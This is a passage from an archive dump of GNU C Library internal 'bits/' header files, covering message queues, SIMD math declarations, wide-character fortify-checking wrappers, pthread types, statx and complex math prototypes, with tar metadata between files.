#define __LC_MESSAGES 5 #define __LC_ALL 6 #define __LC_PAPER 7 #define __LC_NAME 8 #define __LC_ADDRESS 9 #define __LC_TELEPHONE 10 #define __LC_MEASUREMENT 11 #define __LC_IDENTIFICATION 12 #endif /* bits/locale.h */ bits/mqueue.h 0000644 00000002335 15246445046 0007174 0 ustar 00 /* Copyright (C) 2004-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _MQUEUE_H # error "Never use <bits/mqueue.h> directly; include <mqueue.h> instead." #endif #include <bits/types.h> typedef int mqd_t; struct mq_attr { __syscall_slong_t mq_flags; /* Message queue flags. */ __syscall_slong_t mq_maxmsg; /* Maximum number of messages. */ __syscall_slong_t mq_msgsize; /* Maximum message size. */ __syscall_slong_t mq_curmsgs; /* Number of messages currently queued. */ __syscall_slong_t __pad[4]; }; bits/math-vector.h 0000644 00000004403 15246445046 0010122 0 ustar 00 /* Platform-specific SIMD declarations of math functions. Copyright (C) 2014-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _MATH_H # error "Never include <bits/math-vector.h> directly;\ include <math.h> instead." #endif /* Get default empty definitions for simd declarations. */ #include <bits/libm-simd-decl-stubs.h> #if defined __x86_64__ && defined __FAST_MATH__ # if defined _OPENMP && _OPENMP >= 201307 /* OpenMP case. */ # define __DECL_SIMD_x86_64 _Pragma ("omp declare simd notinbranch") # elif __GNUC_PREREQ (6,0) /* W/o OpenMP use GCC 6.* __attribute__ ((__simd__)). */ # define __DECL_SIMD_x86_64 __attribute__ ((__simd__ ("notinbranch"))) # endif # ifdef __DECL_SIMD_x86_64 # undef __DECL_SIMD_cos # define __DECL_SIMD_cos __DECL_SIMD_x86_64 # undef __DECL_SIMD_cosf # define __DECL_SIMD_cosf __DECL_SIMD_x86_64 # undef __DECL_SIMD_sin # define __DECL_SIMD_sin __DECL_SIMD_x86_64 # undef __DECL_SIMD_sinf # define __DECL_SIMD_sinf __DECL_SIMD_x86_64 # undef __DECL_SIMD_sincos # define __DECL_SIMD_sincos __DECL_SIMD_x86_64 # undef __DECL_SIMD_sincosf # define __DECL_SIMD_sincosf __DECL_SIMD_x86_64 # undef __DECL_SIMD_log # define __DECL_SIMD_log __DECL_SIMD_x86_64 # undef __DECL_SIMD_logf # define __DECL_SIMD_logf __DECL_SIMD_x86_64 # undef __DECL_SIMD_exp # define __DECL_SIMD_exp __DECL_SIMD_x86_64 # undef __DECL_SIMD_expf # define __DECL_SIMD_expf __DECL_SIMD_x86_64 # undef __DECL_SIMD_pow # define __DECL_SIMD_pow __DECL_SIMD_x86_64 # undef __DECL_SIMD_powf # define __DECL_SIMD_powf __DECL_SIMD_x86_64 # endif #endif bits/wchar2.h 0000644 00000043455 15246445046 0007071 0 ustar 00 /* Checking macros for wchar functions. Copyright (C) 2005-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _WCHAR_H # error "Never include <bits/wchar2.h> directly; use <wchar.h> instead." #endif extern wchar_t *__wmemcpy_chk (wchar_t *__restrict __s1, const wchar_t *__restrict __s2, size_t __n, size_t __ns1) __THROW; extern wchar_t *__REDIRECT_NTH (__wmemcpy_alias, (wchar_t *__restrict __s1, const wchar_t *__restrict __s2, size_t __n), wmemcpy); extern wchar_t *__REDIRECT_NTH (__wmemcpy_chk_warn, (wchar_t *__restrict __s1, const wchar_t *__restrict __s2, size_t __n, size_t __ns1), __wmemcpy_chk) __warnattr ("wmemcpy called with length bigger than size of destination " "buffer"); __fortify_function wchar_t * __NTH (wmemcpy (wchar_t *__restrict __s1, const wchar_t *__restrict __s2, size_t __n)) { return __glibc_fortify_n (wmemcpy, __n, sizeof (wchar_t), __glibc_objsize0 (__s1), __s1, __s2, __n); } extern wchar_t *__wmemmove_chk (wchar_t *__s1, const wchar_t *__s2, size_t __n, size_t __ns1) __THROW; extern wchar_t *__REDIRECT_NTH (__wmemmove_alias, (wchar_t *__s1, const wchar_t *__s2, size_t __n), wmemmove); extern wchar_t *__REDIRECT_NTH (__wmemmove_chk_warn, (wchar_t *__s1, const wchar_t *__s2, size_t __n, size_t __ns1), __wmemmove_chk) __warnattr ("wmemmove called with length bigger than size of destination " "buffer"); __fortify_function wchar_t * __NTH (wmemmove (wchar_t *__s1, const wchar_t *__s2, size_t __n)) { return __glibc_fortify_n (wmemmove, __n, sizeof (wchar_t), __glibc_objsize0 (__s1), __s1, __s2, __n); } #ifdef __USE_GNU extern wchar_t *__wmempcpy_chk (wchar_t *__restrict __s1, const wchar_t *__restrict __s2, size_t __n, size_t __ns1) __THROW; extern wchar_t *__REDIRECT_NTH (__wmempcpy_alias, (wchar_t *__restrict __s1, const wchar_t *__restrict __s2, size_t __n), wmempcpy); extern wchar_t *__REDIRECT_NTH (__wmempcpy_chk_warn, (wchar_t *__restrict __s1, const wchar_t *__restrict __s2, size_t __n, size_t __ns1), __wmempcpy_chk) __warnattr ("wmempcpy called with length bigger than size of destination " "buffer"); __fortify_function wchar_t * __NTH (wmempcpy (wchar_t *__restrict __s1, const wchar_t *__restrict __s2, size_t __n)) { return __glibc_fortify_n (wmempcpy, __n, sizeof (wchar_t), __glibc_objsize0 (__s1), __s1, __s2, __n); } #endif extern wchar_t *__wmemset_chk (wchar_t *__s, wchar_t __c, size_t __n, size_t __ns) __THROW; extern wchar_t *__REDIRECT_NTH (__wmemset_alias, (wchar_t *__s, wchar_t __c, size_t __n), wmemset); extern wchar_t *__REDIRECT_NTH (__wmemset_chk_warn, (wchar_t *__s, wchar_t __c, size_t __n, size_t __ns), __wmemset_chk) __warnattr ("wmemset called with length bigger than size of destination " "buffer"); __fortify_function wchar_t * __NTH (wmemset (wchar_t *__s, wchar_t __c, size_t __n)) { return __glibc_fortify_n (wmemset, __n, sizeof (wchar_t), __glibc_objsize0 (__s), __s, __c, __n); } extern wchar_t *__wcscpy_chk (wchar_t *__restrict __dest, const wchar_t *__restrict __src, size_t __n) __THROW; extern wchar_t *__REDIRECT_NTH (__wcscpy_alias, (wchar_t *__restrict __dest, const wchar_t *__restrict __src), wcscpy); __fortify_function wchar_t * __NTH (wcscpy (wchar_t *__restrict __dest, const wchar_t *__restrict __src)) { size_t sz = __glibc_objsize (__dest); if (sz != (size_t) -1) return __wcscpy_chk (__dest, __src, sz / sizeof (wchar_t)); return __wcscpy_alias (__dest, __src); } extern wchar_t *__wcpcpy_chk (wchar_t *__restrict __dest, const wchar_t *__restrict __src, size_t __destlen) __THROW; extern wchar_t *__REDIRECT_NTH (__wcpcpy_alias, (wchar_t *__restrict __dest, const wchar_t *__restrict __src), wcpcpy); __fortify_function wchar_t * __NTH (wcpcpy (wchar_t *__restrict __dest, const wchar_t *__restrict __src)) { size_t sz = __glibc_objsize (__dest); if (sz != (size_t) -1) return __wcpcpy_chk (__dest, __src, sz / sizeof (wchar_t)); return __wcpcpy_alias (__dest, __src); } extern wchar_t *__wcsncpy_chk (wchar_t *__restrict __dest, const wchar_t *__restrict __src, size_t __n, size_t __destlen) __THROW; extern wchar_t *__REDIRECT_NTH (__wcsncpy_alias, (wchar_t *__restrict __dest, const wchar_t *__restrict __src, size_t __n), wcsncpy); extern wchar_t *__REDIRECT_NTH (__wcsncpy_chk_warn, (wchar_t *__restrict __dest, const wchar_t *__restrict __src, size_t __n, size_t __destlen), __wcsncpy_chk) __warnattr ("wcsncpy called with length bigger than size of destination " "buffer"); __fortify_function wchar_t * __NTH (wcsncpy (wchar_t *__restrict __dest, const wchar_t *__restrict __src, size_t __n)) { return __glibc_fortify_n (wcsncpy, __n, sizeof (wchar_t), __glibc_objsize (__dest), __dest, __src, __n); } extern wchar_t *__wcpncpy_chk (wchar_t *__restrict __dest, const wchar_t *__restrict __src, size_t __n, size_t __destlen) __THROW; extern wchar_t *__REDIRECT_NTH (__wcpncpy_alias, (wchar_t *__restrict __dest, const wchar_t *__restrict __src, size_t __n), wcpncpy); extern wchar_t *__REDIRECT_NTH (__wcpncpy_chk_warn, (wchar_t *__restrict __dest, const wchar_t *__restrict __src, size_t __n, size_t __destlen), __wcpncpy_chk) __warnattr ("wcpncpy called with length bigger than size of destination " "buffer"); __fortify_function wchar_t * __NTH (wcpncpy (wchar_t *__restrict __dest, const wchar_t *__restrict __src, size_t __n)) { return __glibc_fortify_n (wcpncpy, __n, sizeof (wchar_t), __glibc_objsize (__dest), __dest, __src, __n); } extern wchar_t *__wcscat_chk (wchar_t *__restrict __dest, const wchar_t *__restrict __src, size_t __destlen) __THROW; extern wchar_t *__REDIRECT_NTH (__wcscat_alias, (wchar_t *__restrict __dest, const wchar_t *__restrict __src), wcscat); __fortify_function wchar_t * __NTH (wcscat (wchar_t *__restrict __dest, const wchar_t *__restrict __src)) { size_t sz = __glibc_objsize (__dest); if (sz != (size_t) -1) return __wcscat_chk (__dest, __src, sz / sizeof (wchar_t)); return __wcscat_alias (__dest, __src); } extern wchar_t *__wcsncat_chk (wchar_t *__restrict __dest, const wchar_t *__restrict __src, size_t __n, size_t __destlen) __THROW; extern wchar_t *__REDIRECT_NTH (__wcsncat_alias, (wchar_t *__restrict __dest, const wchar_t *__restrict __src, size_t __n), wcsncat); __fortify_function wchar_t * __NTH (wcsncat (wchar_t *__restrict __dest, const wchar_t *__restrict __src, size_t __n)) { size_t sz = __glibc_objsize (__dest); if (sz != (size_t) -1) return __wcsncat_chk (__dest, __src, __n, sz / sizeof (wchar_t)); return __wcsncat_alias (__dest, __src, __n); } extern int __swprintf_chk (wchar_t *__restrict __s, size_t __n, int __flag, size_t __s_len, const wchar_t *__restrict __format, ...) __THROW /* __attribute__ ((__format__ (__wprintf__, 5, 6))) */; extern int __REDIRECT_NTH_LDBL (__swprintf_alias, (wchar_t *__restrict __s, size_t __n, const wchar_t *__restrict __fmt, ...), swprintf); #ifdef __va_arg_pack __fortify_function int __NTH (swprintf (wchar_t *__restrict __s, size_t __n, const wchar_t *__restrict __fmt, ...)) { size_t sz = __glibc_objsize (__s); if (sz != (size_t) -1 || __USE_FORTIFY_LEVEL > 1) return __swprintf_chk (__s, __n, __USE_FORTIFY_LEVEL - 1, sz / sizeof (wchar_t), __fmt, __va_arg_pack ()); return __swprintf_alias (__s, __n, __fmt, __va_arg_pack ()); } #elif !defined __cplusplus /* XXX We might want to have support in gcc for swprintf. */ # define swprintf(s, n, ...) \ (__glibc_objsize (s) != (size_t) -1 || __USE_FORTIFY_LEVEL > 1 \ ? __swprintf_chk (s, n, __USE_FORTIFY_LEVEL - 1, \ __glibc_objsize (s) / sizeof (wchar_t), __VA_ARGS__) \ : swprintf (s, n, __VA_ARGS__)) #endif extern int __vswprintf_chk (wchar_t *__restrict __s, size_t __n, int __flag, size_t __s_len, const wchar_t *__restrict __format, __gnuc_va_list __arg) __THROW /* __attribute__ ((__format__ (__wprintf__, 5, 0))) */; extern int __REDIRECT_NTH_LDBL (__vswprintf_alias, (wchar_t *__restrict __s, size_t __n, const wchar_t *__restrict __fmt, __gnuc_va_list __ap), vswprintf); __fortify_function int __NTH (vswprintf (wchar_t *__restrict __s, size_t __n, const wchar_t *__restrict __fmt, __gnuc_va_list __ap)) { size_t sz = __glibc_objsize (__s); if (sz != (size_t) -1 || __USE_FORTIFY_LEVEL > 1) return __vswprintf_chk (__s, __n, __USE_FORTIFY_LEVEL - 1, sz / sizeof (wchar_t), __fmt, __ap); return __vswprintf_alias (__s, __n, __fmt, __ap); } #if __USE_FORTIFY_LEVEL > 1 extern int __fwprintf_chk (__FILE *__restrict __stream, int __flag, const wchar_t *__restrict __format, ...); extern int __wprintf_chk (int __flag, const wchar_t *__restrict __format, ...); extern int __vfwprintf_chk (__FILE *__restrict __stream, int __flag, const wchar_t *__restrict __format, __gnuc_va_list __ap); extern int __vwprintf_chk (int __flag, const wchar_t *__restrict __format, __gnuc_va_list __ap); # ifdef __va_arg_pack __fortify_function int wprintf (const wchar_t *__restrict __fmt, ...) { return __wprintf_chk (__USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ()); } __fortify_function int fwprintf (__FILE *__restrict __stream, const wchar_t *__restrict __fmt, ...) { return __fwprintf_chk (__stream, __USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ()); } # elif !defined __cplusplus # define wprintf(...) \ __wprintf_chk (__USE_FORTIFY_LEVEL - 1, __VA_ARGS__) # define fwprintf(stream, ...) \ __fwprintf_chk (stream, __USE_FORTIFY_LEVEL - 1, __VA_ARGS__) # endif __fortify_function int vwprintf (const wchar_t *__restrict __fmt, __gnuc_va_list __ap) { return __vwprintf_chk (__USE_FORTIFY_LEVEL - 1, __fmt, __ap); } __fortify_function int vfwprintf (__FILE *__restrict __stream, const wchar_t *__restrict __fmt, __gnuc_va_list __ap) { return __vfwprintf_chk (__stream, __USE_FORTIFY_LEVEL - 1, __fmt, __ap); } #endif extern wchar_t *__fgetws_chk (wchar_t *__restrict __s, size_t __size, int __n, __FILE *__restrict __stream) __wur; extern wchar_t *__REDIRECT (__fgetws_alias, (wchar_t *__restrict __s, int __n, __FILE *__restrict __stream), fgetws) __wur; extern wchar_t *__REDIRECT (__fgetws_chk_warn, (wchar_t *__restrict __s, size_t __size, int __n, __FILE *__restrict __stream), __fgetws_chk) __wur __warnattr ("fgetws called with bigger size than length " "of destination buffer"); __fortify_function __wur wchar_t * fgetws (wchar_t *__restrict __s, int __n, __FILE *__restrict __stream) { size_t sz = __glibc_objsize (__s); if (__glibc_safe_or_unknown_len (__n, sizeof (wchar_t), sz)) return __fgetws_alias (__s, __n, __stream); if (__glibc_unsafe_len (__n, sizeof (wchar_t), sz)) return __fgetws_chk_warn (__s, sz / sizeof (wchar_t), __n, __stream); return __fgetws_chk (__s, sz / sizeof (wchar_t), __n, __stream); } #ifdef __USE_GNU extern wchar_t *__fgetws_unlocked_chk (wchar_t *__restrict __s, size_t __size, int __n, __FILE *__restrict __stream) __wur; extern wchar_t *__REDIRECT (__fgetws_unlocked_alias, (wchar_t *__restrict __s, int __n, __FILE *__restrict __stream), fgetws_unlocked) __wur; extern wchar_t *__REDIRECT (__fgetws_unlocked_chk_warn, (wchar_t *__restrict __s, size_t __size, int __n, __FILE *__restrict __stream), __fgetws_unlocked_chk) __wur __warnattr ("fgetws_unlocked called with bigger size than length " "of destination buffer"); __fortify_function __wur wchar_t * fgetws_unlocked (wchar_t *__restrict __s, int __n, __FILE *__restrict __stream) { size_t sz = __glibc_objsize (__s); if (__glibc_safe_or_unknown_len (__n, sizeof (wchar_t), sz)) return __fgetws_unlocked_alias (__s, __n, __stream); if (__glibc_unsafe_len (__n, sizeof (wchar_t), sz)) return __fgetws_unlocked_chk_warn (__s, sz / sizeof (wchar_t), __n, __stream); return __fgetws_unlocked_chk (__s, sz / sizeof (wchar_t), __n, __stream); } #endif extern size_t __wcrtomb_chk (char *__restrict __s, wchar_t __wchar, mbstate_t *__restrict __p, size_t __buflen) __THROW __wur; extern size_t __REDIRECT_NTH (__wcrtomb_alias, (char *__restrict __s, wchar_t __wchar, mbstate_t *__restrict __ps), wcrtomb) __wur; __fortify_function __wur size_t __NTH (wcrtomb (char *__restrict __s, wchar_t __wchar, mbstate_t *__restrict __ps)) { /* We would have to include <limits.h> to get a definition of MB_LEN_MAX. But this would only disturb the namespace. So we define our own version here. */ #define __WCHAR_MB_LEN_MAX 16 #if defined MB_LEN_MAX && MB_LEN_MAX != __WCHAR_MB_LEN_MAX # error "Assumed value of MB_LEN_MAX wrong" #endif if (__glibc_objsize (__s) != (size_t) -1 && __WCHAR_MB_LEN_MAX > __glibc_objsize (__s)) return __wcrtomb_chk (__s, __wchar, __ps, __glibc_objsize (__s)); return __wcrtomb_alias (__s, __wchar, __ps); } extern size_t __mbsrtowcs_chk (wchar_t *__restrict __dst, const char **__restrict __src, size_t __len, mbstate_t *__restrict __ps, size_t __dstlen) __THROW; extern size_t __REDIRECT_NTH (__mbsrtowcs_alias, (wchar_t *__restrict __dst, const char **__restrict __src, size_t __len, mbstate_t *__restrict __ps), mbsrtowcs); extern size_t __REDIRECT_NTH (__mbsrtowcs_chk_warn, (wchar_t *__restrict __dst, const char **__restrict __src, size_t __len, mbstate_t *__restrict __ps, size_t __dstlen), __mbsrtowcs_chk) __warnattr ("mbsrtowcs called with dst buffer smaller than len " "* sizeof (wchar_t)"); __fortify_function size_t __NTH (mbsrtowcs (wchar_t *__restrict __dst, const char **__restrict __src, size_t __len, mbstate_t *__restrict __ps)) { return __glibc_fortify_n (mbsrtowcs, __len, sizeof (wchar_t), __glibc_objsize (__dst), __dst, __src, __len, __ps); } extern size_t __wcsrtombs_chk (char *__restrict __dst, const wchar_t **__restrict __src, size_t __len, mbstate_t *__restrict __ps, size_t __dstlen) __THROW; extern size_t __REDIRECT_NTH (__wcsrtombs_alias, (char *__restrict __dst, const wchar_t **__restrict __src, size_t __len, mbstate_t *__restrict __ps), wcsrtombs); extern size_t __REDIRECT_NTH (__wcsrtombs_chk_warn, (char *__restrict __dst, const wchar_t **__restrict __src, size_t __len, mbstate_t *__restrict __ps, size_t __dstlen), __wcsrtombs_chk) __warnattr ("wcsrtombs called with dst buffer smaller than len"); __fortify_function size_t __NTH (wcsrtombs (char *__restrict __dst, const wchar_t **__restrict __src, size_t __len, mbstate_t *__restrict __ps)) { return __glibc_fortify (wcsrtombs, __len, sizeof (char), __glibc_objsize (__dst), __dst, __src, __len, __ps); } #ifdef __USE_XOPEN2K8 extern size_t __mbsnrtowcs_chk (wchar_t *__restrict __dst, const char **__restrict __src, size_t __nmc, size_t __len, mbstate_t *__restrict __ps, size_t __dstlen) __THROW; extern size_t __REDIRECT_NTH (__mbsnrtowcs_alias, (wchar_t *__restrict __dst, const char **__restrict __src, size_t __nmc, size_t __len, mbstate_t *__restrict __ps), mbsnrtowcs); extern size_t __REDIRECT_NTH (__mbsnrtowcs_chk_warn, (wchar_t *__restrict __dst, const char **__restrict __src, size_t __nmc, size_t __len, mbstate_t *__restrict __ps, size_t __dstlen), __mbsnrtowcs_chk) __warnattr ("mbsnrtowcs called with dst buffer smaller than len " "* sizeof (wchar_t)"); __fortify_function size_t __NTH (mbsnrtowcs (wchar_t *__restrict __dst, const char **__restrict __src, size_t __nmc, size_t __len, mbstate_t *__restrict __ps)) { return __glibc_fortify_n (mbsnrtowcs, __len, sizeof (wchar_t), __glibc_objsize (__dst), __dst, __src, __nmc, __len, __ps); } extern size_t __wcsnrtombs_chk (char *__restrict __dst, const wchar_t **__restrict __src, size_t __nwc, size_t __len, mbstate_t *__restrict __ps, size_t __dstlen) __THROW; extern size_t __REDIRECT_NTH (__wcsnrtombs_alias, (char *__restrict __dst, const wchar_t **__restrict __src, size_t __nwc, size_t __len, mbstate_t *__restrict __ps), wcsnrtombs); extern size_t __REDIRECT_NTH (__wcsnrtombs_chk_warn, (char *__restrict __dst, const wchar_t **__restrict __src, size_t __nwc, size_t __len, mbstate_t *__restrict __ps, size_t __dstlen), __wcsnrtombs_chk) __warnattr ("wcsnrtombs called with dst buffer smaller than len"); __fortify_function size_t __NTH (wcsnrtombs (char *__restrict __dst, const wchar_t **__restrict __src, size_t __nwc, size_t __len, mbstate_t *__restrict __ps)) { return __glibc_fortify (wcsnrtombs, __len, sizeof (char), __glibc_objsize (__dst), __dst, __src, __nwc, __len, __ps); } #endif bits/msq.h 0000644 00000005115 15246445046 0006472 0 ustar 00 /* Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_MSG_H # error "Never use <bits/msq.h> directly; include <sys/msg.h> instead." #endif #include <bits/types.h> /* Define options for message queue functions. */ #define MSG_NOERROR 010000 /* no error if message is too big */ #ifdef __USE_GNU # define MSG_EXCEPT 020000 /* recv any msg except of specified type */ # define MSG_COPY 040000 /* copy (not remove) all queue messages */ #endif /* Types used in the structure definition. */ typedef __syscall_ulong_t msgqnum_t; typedef __syscall_ulong_t msglen_t; /* Structure of record for one message inside the kernel. The type `struct msg' is opaque. */ struct msqid_ds { struct ipc_perm msg_perm; /* structure describing operation permission */ __time_t msg_stime; /* time of last msgsnd command */ #ifndef __x86_64__ unsigned long int __glibc_reserved1; #endif __time_t msg_rtime; /* time of last msgrcv command */ #ifndef __x86_64__ unsigned long int __glibc_reserved2; #endif __time_t msg_ctime; /* time of last change */ #ifndef __x86_64__ unsigned long int __glibc_reserved3; #endif __syscall_ulong_t __msg_cbytes; /* current number of bytes on queue */ msgqnum_t msg_qnum; /* number of messages currently on queue */ msglen_t msg_qbytes; /* max number of bytes allowed on queue */ __pid_t msg_lspid; /* pid of last msgsnd() */ __pid_t msg_lrpid; /* pid of last msgrcv() */ __syscall_ulong_t __glibc_reserved4; __syscall_ulong_t __glibc_reserved5; }; #ifdef __USE_MISC # define msg_cbytes __msg_cbytes /* ipcs ctl commands */ # define MSG_STAT 11 # define MSG_INFO 12 # define MSG_STAT_ANY 13 /* buffer for msgctl calls IPC_INFO, MSG_INFO */ struct msginfo { int msgpool; int msgmap; int msgmax; int msgmnb; int msgmni; int msgssz; int msgtql; unsigned short int msgseg; }; #endif /* __USE_MISC */ bits/uintn-identity.h 0000644 00000003005 15246445046 0010652 0 ustar 00 /* Inline functions to return unsigned integer values unchanged. Copyright (C) 2017-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #if !defined _NETINET_IN_H && !defined _ENDIAN_H # error "Never use <bits/uintn-identity.h> directly; include <netinet/in.h> or <endian.h> instead." #endif #ifndef _BITS_UINTN_IDENTITY_H #define _BITS_UINTN_IDENTITY_H 1 #include <bits/types.h> /* These inline functions are to ensure the appropriate type conversions and associated diagnostics from macros that convert to a given endianness. */ static __inline __uint16_t __uint16_identity (__uint16_t __x) { return __x; } static __inline __uint32_t __uint32_identity (__uint32_t __x) { return __x; } static __inline __uint64_t __uint64_identity (__uint64_t __x) { return __x; } #endif /* _BITS_UINTN_IDENTITY_H. */ bits/pthreadtypes.h 0000644 00000005777 15246445046 0010424 0 ustar 00 /* Declaration of common pthread types for all architectures. Copyright (C) 2017-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_PTHREADTYPES_COMMON_H # define _BITS_PTHREADTYPES_COMMON_H 1 /* For internal mutex and condition variable definitions. */ #include <bits/thread-shared-types.h> /* Thread identifiers. The structure of the attribute type is not exposed on purpose. */ typedef unsigned long int pthread_t; /* Data structures for mutex handling. The structure of the attribute type is not exposed on purpose. */ typedef union { char __size[__SIZEOF_PTHREAD_MUTEXATTR_T]; int __align; } pthread_mutexattr_t; /* Data structure for condition variable handling. The structure of the attribute type is not exposed on purpose. */ typedef union { char __size[__SIZEOF_PTHREAD_CONDATTR_T]; int __align; } pthread_condattr_t; /* Keys for thread-specific data */ typedef unsigned int pthread_key_t; /* Once-only execution */ typedef int __ONCE_ALIGNMENT pthread_once_t; union pthread_attr_t { char __size[__SIZEOF_PTHREAD_ATTR_T]; long int __align; }; #ifndef __have_pthread_attr_t typedef union pthread_attr_t pthread_attr_t; # define __have_pthread_attr_t 1 #endif typedef union { struct __pthread_mutex_s __data; char __size[__SIZEOF_PTHREAD_MUTEX_T]; long int __align; } pthread_mutex_t; typedef union { struct __pthread_cond_s __data; char __size[__SIZEOF_PTHREAD_COND_T]; __extension__ long long int __align; } pthread_cond_t; #if defined __USE_UNIX98 || defined __USE_XOPEN2K /* Data structure for reader-writer lock variable handling. The structure of the attribute type is deliberately not exposed. */ typedef union { struct __pthread_rwlock_arch_t __data; char __size[__SIZEOF_PTHREAD_RWLOCK_T]; long int __align; } pthread_rwlock_t; typedef union { char __size[__SIZEOF_PTHREAD_RWLOCKATTR_T]; long int __align; } pthread_rwlockattr_t; #endif #ifdef __USE_XOPEN2K /* POSIX spinlock data type. */ typedef volatile int pthread_spinlock_t; /* POSIX barriers data type. The structure of the type is deliberately not exposed. */ typedef union { char __size[__SIZEOF_PTHREAD_BARRIER_T]; long int __align; } pthread_barrier_t; typedef union { char __size[__SIZEOF_PTHREAD_BARRIERATTR_T]; int __align; } pthread_barrierattr_t; #endif #endif bits/statx.h 0000644 00000002567 15246445046 0007045 0 ustar 00 /* statx-related definitions and declarations. Linux version. Copyright (C) 2018-2019 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* This interface is based on <linux/stat.h> in Linux. */ #ifndef _SYS_STAT_H # error Never include <bits/statx.h> directly, include <sys/stat.h> instead. #endif /* Use the Linux kernel header if available. */ /* Use "" to work around incorrect macro expansion of the __has_include argument (GCC PR 80005). */ #ifdef __has_include # if __has_include ("linux/stat.h") # include "linux/stat.h" # ifdef STATX_TYPE # define __statx_timestamp_defined 1 # define __statx_defined 1 # endif # endif #endif #include <bits/statx-generic.h> bits/cmathcalls.h 0000644 00000010052 15246445046 0010001 0 ustar 00 /* Prototype declarations for complex math functions; helper file for <complex.h>. Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* NOTE: Because of the special way this file is used by <complex.h>, this file must NOT be protected from multiple inclusion as header files usually are. This file provides prototype declarations for the math functions. Most functions are declared using the macro: __MATHCALL (NAME, (ARGS...)); This means there is a function `NAME' returning `double' and a function `NAMEf' returning `float'. Each place `_Mdouble_' appears in the prototype, that is actually `double' in the prototype for `NAME' and `float' in the prototype for `NAMEf'. Reentrant variant functions are called `NAME_r' and `NAMEf_r'. Functions returning other types like `int' are declared using the macro: __MATHDECL (TYPE, NAME, (ARGS...)); This is just like __MATHCALL but for a function returning `TYPE' instead of `_Mdouble_'. In all of these cases, there is still both a `NAME' and a `NAMEf' that takes `float' arguments. */ #ifndef _COMPLEX_H #error "Never use <bits/cmathcalls.h> directly; include <complex.h> instead." #endif #ifndef _Mdouble_complex_ # define _Mdouble_complex_ _Mdouble_ _Complex #endif /* Trigonometric functions. */ /* Arc cosine of Z. */ __MATHCALL (cacos, (_Mdouble_complex_ __z)); /* Arc sine of Z. */ __MATHCALL (casin, (_Mdouble_complex_ __z)); /* Arc tangent of Z. */ __MATHCALL (catan, (_Mdouble_complex_ __z)); /* Cosine of Z. */ __MATHCALL (ccos, (_Mdouble_complex_ __z)); /* Sine of Z. */ __MATHCALL (csin, (_Mdouble_complex_ __z)); /* Tangent of Z. */ __MATHCALL (ctan, (_Mdouble_complex_ __z)); /* Hyperbolic functions. */ /* 